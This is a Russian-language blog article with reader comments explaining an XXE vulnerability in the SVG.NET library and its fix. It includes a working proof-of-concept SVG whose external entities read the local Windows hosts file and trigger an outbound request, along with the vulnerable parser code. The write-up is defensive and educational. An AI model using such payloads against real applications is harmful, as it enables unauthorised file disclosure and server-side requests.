0923_SVG_XXE_ru/image1.png


Вы решили сделать приложение, работающее с SVG. Набрали библиотек, запаслись энтузиазмом, и в итоге всё удалось. Но вот незадача! Внезапно вы обнаруживаете, что приложение отправляет странные сетевые запросы. Кроме того, с хост-машины утекают данные. Как же так?


В современном мире на каждый случай жизни есть библиотека. Поэтому для своего приложения мы также не будем изобретать велосипед, а возьмём готовое решение. Например, SVG.NET. Исходный код проекта доступен на GitHub. Сама библиотека дистрибьютится как NuGet-пакет, что очень удобно в плане подключения к проекту. Кстати, на странице проекта в NuGet Gallery можно увидеть, что библиотеку загрузили 2.5 миллиона раз – впечатляет!


Рассмотрим синтетический пример описанного ранее приложения:


void ProcessSvg()
{
  using var svgStream = GetSvgFromUser();    
  var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    

  // SVG document processing...

  SendSvgToUser(svgDoc);
}

Суть проста:


  1. Получаем от пользователя картинку. Как именно – не принципиально.
  2. Создаётся экземпляр SvgDocument, с которым дальше осуществляются какие-то действия. Например, некоторые преобразования.
  3. Изменённый объект отправляется обратно пользователю.

Реализация методов GetSvgFromUser и SendSvgToUser в данном случае не столь важна. Будем считать, что первый принимает картинку по сети, а второй отправляет её обратно.


Что скрывается за "SVG document processing..."? И вновь здесь нам это не важно, так что у нас… ничего не будет.


По факту мы просто загружаем картинку и сохраняем её обратно. Просто? Достаточно, чтобы начали происходить странные вещи. :)


Для экспериментов возьмём специально заготовленный SVG-файл. Внешне он выглядит как логотип анализатора PVS-Studio. Посмотрим на его отрисовку в браузере, чтобы убедиться, что всё с ним в порядке.


0923_SVG_XXE_ru/image2.png


Никаких проблем нет. Отправляем в наше приложение. Оно никаких операций над изображением не проводит (напоминаю, что за комментарием в коде ничего не скрывается) и просто отправляет SVG нам обратно.


Открываем полученный файл и ожидаемо видим ту же картину.


0923_SVG_XXE_ru/image3.png


Самое интересное произошло за кулисами (во время вызова метода SvgDocument.Open<T>).


Первое – приложение отправило незапланированный запрос к pvs-studio.com. Это можно было увидеть, например, отмониторив сетевую активность приложения.


0923_SVG_XXE_ru/image4.png


Второе – пользователь приложения получил файл hosts с машины, на которой открывался SVG.


Как? Где этот файл? Давайте посмотрим на текстовое представление SVG-файла, полученного от приложения. Ненужные части сократим, чтобы не мешались.


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg .... >
<svg ....>
  <style type="text/css">
    ....
  </style>
  <polygon .... />
  <polygon .... />
  <polygon .... />
  <polygon .... />
  <polygon># Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
#
# localhost name resolution is handled within DNS itself.
#   127.0.0.1       localhost
#   ::1             localhost
#
# A special comment indicating that XXE attack was performed successfully.
#</polygon>
</svg>

Вот и hosts файл с целевой машины – аккуратно спрятан в SVG-файле без каких-либо внешних проявлений.


Откуда там взялось содержимое hosts? Откуда дополнительный сетевой запрос? Что ж, давайте разбираться.


Разбираем атаку


Те, кто знаком с XXE-атакой, возможно, уже поняли, в чём дело. Если про XXE вы не слышали или подзабыли, что это такое – настоятельно рекомендую ознакомиться со статьёй "Уязвимости из-за обработки XML-файлов: XXE в C# приложениях в теории и на практике". В ней я рассказываю о сути XXE, причинах и последствиях. Эта информация потребуется для понимания дальнейшего изложения.


Напомню, что для проведения XXE-атаки необходимы:


  • данные от пользователя, которые могут быть скомпрометированы;
  • небезопасно сконфигурированный XML-парсер.

Злоумышленнику также на руку будет, если ему в каком-то виде вернётся результат обработки скомпрометированных данных XML-парсером.


В данном случае "все звёзды совпали":


  • скомпрометированные данные – SVG файл, который пользователь отправляет в приложение;
  • небезопасно сконфигурированный XML-парсер – есть, находится внутри библиотеки открытия SVG-файла;
  • результат работы парсера возвращается обратно пользователю в виде "обработанного" SVG-файла.

Скомпрометированные данные


Первое, что нужно вспомнить – формат SVG основан на XML. Это даёт возможность определять в SVG-файлах XML-сущности, которые и нужны для проведения XXE.


Несмотря на то, что в браузере SVG-файл "подставной" выглядит обычным образом, внутри он содержит объявление двух сущностей:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE polygon [
  <!ENTITY queryEntity SYSTEM "https://files.pvs-studio.com/rules/ccr.xml">
  <!ENTITY hostsEntity SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<svg id="Layer_1" 
     data-name="Layer 1" 
     xmlns="http://www.w3.org/2000/svg" 
     viewBox="0 0 1967 1933.8">
  <style type="text/css">
    ....
  </style>
  ....
  <polygon>&queryEntity;</polygon>
  <polygon>&hostsEntity;</polygon>
</svg>

Если XML-парсер работает с внешними сущностями, то:


  • при обработке queryEntity он выполнит сетевой запрос к files.pvs-studio.com;
  • при обработке hostsEntity вместо сущности он подставит содержимое файла hosts.

Получается своего рода SVG-ловушка: при отрисовке файл выглядит обычным, но внутри оказывается с подвохом.


Небезопасно сконфигурированный XML-парсер


Стоит помнить, что за использование внешних библиотек приходится платить свою цену. Если у вас уже был лист возможных негативных последствий, добавляйте к нему ещё одно – потенциальные дефекты безопасности.


Для создания экземпляра SvgDocument мы использовали метод Open<T>. Его исходный код выглядит так:


public static T Open<T>(Stream stream) where T : SvgDocument, new()
{
  return Open<T>(stream, null);
}

Этот метод, в свою очередь, вызывает другую перегрузку:


public static T Open<T>(Stream stream, Dictionary<string, string> entities) 
  where T : SvgDocument, new()
{
  if (stream == null)
  {
    throw new ArgumentNullException("stream");
  }

  // Don't close the stream via a dispose: that is the client's job.
  var reader = new SvgTextReader(stream, entities)
  {
    XmlResolver = new SvgDtdResolver(),
    WhitespaceHandling = WhitespaceHandling.Significant,
    DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore 
                                                     : DtdProcessing.Parse,
  };
  return Open<T>(reader);
}

Забегая вперёд, хочется сказать, что в Open<T>(reader) происходит вычитка SVG-файла и создание экземпляра SvgDocument.


private static T Open<T>(XmlReader reader) where T : SvgDocument, new()
{
  ....
  T svgDocument = null;
  ....

  while (reader.Read())
  {
    try
    {
      switch (reader.NodeType)
      {
        ....
      }
    }
    catch (Exception exc)
    {
      ....
    }
  }
  ....
  return svgDocument;
}

Конструкции while (reader.Read()) и switch (reader.NodeType) должны быть хорошо знакомы всем, кто работал с XmlReader. Так как это +- типовой код вычитки XML, останавливаться на нём не будем, а вернёмся к созданию XML-парсера.


var reader = new SvgTextReader(stream, entities)
{
  XmlResolver = new SvgDtdResolver(),
  WhitespaceHandling = WhitespaceHandling.Significant,
  DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore 
                                                   : DtdProcessing.Parse,
};

Чтобы понять, является ли конфигурация парсера опасной, нужно уточнить следующие моменты:


  • что из себя представляет экземпляр SvgDtdResolver;
  • включена ли обработка DTD.

И тут я хочу в очередной раз сказать – славься Open Source! Несказанное удовольствие состоит в том, что есть возможность самому повозиться в коде и разобраться, что и как работает.


Начнём со свойства DtdProcessing, зависящего от SvgDocument.DisableDtdProcessing:


/// <summary>
/// Skip the Dtd Processing for faster loading of
/// svgs that have a DTD specified.
/// For Example Adobe Illustrator svgs.
/// </summary>
public static bool DisableDtdProcessing { get; set; }

Статическое свойство, значение которого мы не изменяли. В конструкторе типа оно тоже не фигурирует, значение по умолчанию – false. Соответственно, DtdProcessing принимает значение DtdProcessing.Parse.


Переходим к свойству XmlResolver. Посмотрим, что из себя представляет тип SvgDtdResolver:


internal class SvgDtdResolver : XmlUrlResolver
{
  /// ....
  public override object GetEntity(Uri absoluteUri, 
                                   string role, 
                                   Type ofObjectToReturn)
  {
    if (absoluteUri.ToString()
                   .IndexOf("svg", 
                            StringComparison.InvariantCultureIgnoreCase) > -1)
    {
      return Assembly.GetExecutingAssembly()
                     .GetManifestResourceStream("Svg.Resources.svg11.dtd");
    }
    else
    {
      return base.GetEntity(absoluteUri, role, ofObjectToReturn);
    }
  }
}

По сути SvgDtdResolver – всё тот же XmlUrlResolver. Логика только немного отличается для случая, когда absoluteUri содержит подстроку "svg". А из статьи про XXE мы помним, что использование экземпляра XmlUrlResolver для обработки внешних сущностей чревато проблемами безопасности. Выходит, что с SvgDtdResolver та же ситуация.


Получаем выполнение всех необходимых условий:


  • обработка DTD включена (свойство DtdProcessing имеет значение DtdProcessing.Parse);
  • в парсере используется опасный резолвер (свойство XmlResolver ссылается на экземпляр небезопасного SvgDtdResolver).

Как следствие, созданный объект SvgTextReader является потенциально (а как убедились на практике – и реально) уязвимым к XXE-атаке.


Фикс проблемы


На странице проекта на GitHub по поводу этой проблемы был открыт issue – "Security: vulnerable to XXE attacks". Через неделю – ещё один. Для каждого issue был сделан PR: первый, второй.


Если вкратце, фикс заключается в том, что по умолчанию выключили обработку внешних сущностей.


В первом PR добавили опцию ResolveExternalResources, которая отвечает за то, будет ли SvgDtdResolver обрабатывать внешние сущности. По умолчанию обработка выключена.


0923_SVG_XXE_ru/image5.png


Во втором PR кода докинули побольше, а булев флаг заменили на перечисление. По умолчанию резолвинг внешних сущностей всё так же запрещён. Изменений в коде побольше, если интересно – посмотреть их можно здесь.


Если обновить пакет 'Svg' до безопасной версии, запустить в том же приложении и с теми же входными данными (то есть с подставным SVG-файлом), получим другие результаты.


Приложение больше не выполняет сетевых запросов, равно как и не "крадёт" файлы. Если посмотреть результирующий SVG-файл, можно заметить, что сущности просто ни во что не раскрылись:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg ...>
<svg version="1.1"
     ....>
  <style type="text/css">
    ....
  </style>
  ....
  <polygon />
  <polygon />
</svg>

Как обезопаситься?


Зависит от того, кто интересуется. :)


Как минимум неплохо хотя бы знать про XXE, чтобы быть внимательнее, когда дело доходит до работы с XML-файлами. Конечно, это не защитит от всех опасных случаев (будем честны – ничто не защитит), но даст какое-то осознание возможных последствий.


Помочь с поиском подобных проблем в коде могут SAST-решения. Вообще список того, что можно ловить с помощью SAST, достаточно большой, и XXE вполне в него попадает.


Немного иначе обстоит дело, если вы используете внешнюю библиотеку, а не работаете с исходниками. Например, как в случае с нашим приложением, когда библиотека работы с SVG была подключена в качестве NuGet-пакета. Здесь SAST уже не поможет, так как доступа к исходному коду библиотеки у инструмента нет. Хотя если статический анализатор работает с промежуточным кодом (IL, например), у него всё ещё есть возможность обнаружить проблему.


Тем не менее, для проверки зависимостей проектов используются отдельные инструменты – SCA-решения. О том, что такое SCA, почитать можно здесь. Цель таких инструментов – отслеживать использование зависимостей с известными уязвимостями и предупреждать об этом. Здесь, конечно, важную роль играет база этих самых уязвимых компонентов. Чем она больше, тем лучше.


И, естественно, не забывайте обновлять программные компоненты. Ведь кроме новых фич и баг-фиксов в новых версиях исправляются и дефекты безопасности. Например, в SVG.NET обозреваемый дефект безопасности был закрыт в релизе 3.3.0.


Заключение


Как-то я уже говорил, что XXE – довольно коварная штука. Рассмотренный сегодня экземпляр коварен вдвойне. Мало того, что он спрятался за обработкой SVG-файлов, так ещё и "проникал" в приложение через NuGet-пакет. Кто знает, сколько ещё уязвимостей прячется в разных компонентах и успешно эксплуатируется?


По доброй традиции приглашаю подписываться на меня в Twitter, чтобы не пропускать тематические публикации.


Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. Why does my app send network requests when I open an SVG file?.

Комментарии (6)


  1. Beholder
    18.02.2022 17:20
    +3

    Как обезопасить себя в Java:

       DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
       factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

    Также есть константы ACCESS_EXTERNAL_STYLESHEET, ACCESS_EXTERNAL_DTD, ACCESS_EXTERNAL_SCHEMA, но если верить документации, кода выше должно быть достаточно.


    1. foto_shooter Автор
      18.02.2022 17:30
      +2

      За Java, увы, пока что сказать не могу. Но могу про .NET. :)

      В современном .NET с обработкой внешних сущностей тоже всё хорошо - по умолчанию в различных XML-парсерах процессинг DTD / внешних сущностей отключен.

      По ощущениям (и немногочисленной информации об XXE с примерами из реальных проектов), в .NET Framework 4.5.1 и ниже основная проблема была как раз с дефолтными настройками. То есть создали какой-нибудь XmlDocument и используют его для загрузки XML. А инстансы из коробки обрабатывают внешние сущности - получаем сразу дефект безопасности.

      Соответственно, в .NET Framework 4.5.2 дефолтные настройки поменяли, и жить стало лучше.

      Но то речь про дефолтные настройки.
      Другое дело, когда процессить внешние сущности всё-таки надо и настройки выставляются явно (как в данном случае). Вот тут уже нужно поаккуратнее быть, чтобы не подорваться, так как просто врубать процессинг внешних сущностей опасно.


  1. Lure_of_Chaos
    18.02.2022 20:05
    +1

    *далее следует вопрос дилетанта

    я, конечно, понимаю, что xml - язык расширяемый (eXtendible), но не понимаю, 1.зачем его "расширять" для известных производных (структура должна быть известна обработчику), т.е. разве нужны в svg такие фичи, как внешние сущности? и 2. почему возможен выход за пределы песочницы (разрешено обращение по любым урлам)?

    это как недавняя уязвимость в log4j, где, оказывается, можно указать произвольное выражение и оно будет вычислено....


    1. mSnus
      19.02.2022 02:23

      А вы просмотрите код любого SVG, там урлы будут с самой первой строки. И вот вам готовая XXE для DOCTYPE.. так сделали изначально, нам теперь расхлёбывать.


    1. foto_shooter Автор
      21.02.2022 09:35
      +1

      1.зачем его "расширять" для известных производных (структура должна быть известна обработчику), т.е. разве нужны в svg такие фичи, как внешние сущности?

      ¯_(ツ)_/¯ Не могу ответить, к сожалению. Не копал "зачем", интересовался исключительно с точки зрения эксплуатации/защиты, но не первопричин.

      2. почему возможен выход за пределы песочницы (разрешено обращение по любым урлам)?

      Например, не только к локальным файлам (что уже само по себе опасно)? Наверное, всё тянется корнями туда же, куда и первый вопрос - кто-нибудь в своё время посчитал, что так будет удобно. Зачем - вопрос, да. Опять же, не копал.

      С точки зрения поставщиков парсеров, наверное, наболее простое и правильное решение - просто по дефолту напрочь обрубать резолвинг внешних сущностей (что и делается в том же .NET). Если нужно - разбирайте сами, осознавая риски, и накладывая необходимые ограничения на резолвинг.

      это как недавняя уязвимость в log4j, где, оказывается, можно указать произвольное выражение и оно будет вычислено....

      Задумываюсь иногда, сколько ещё подобных мин "разложено" по софту, но пока не выявлено. Найти бы что-нибудь такое...


  1. foto_shooter Автор
    21.02.2022 09:35

    del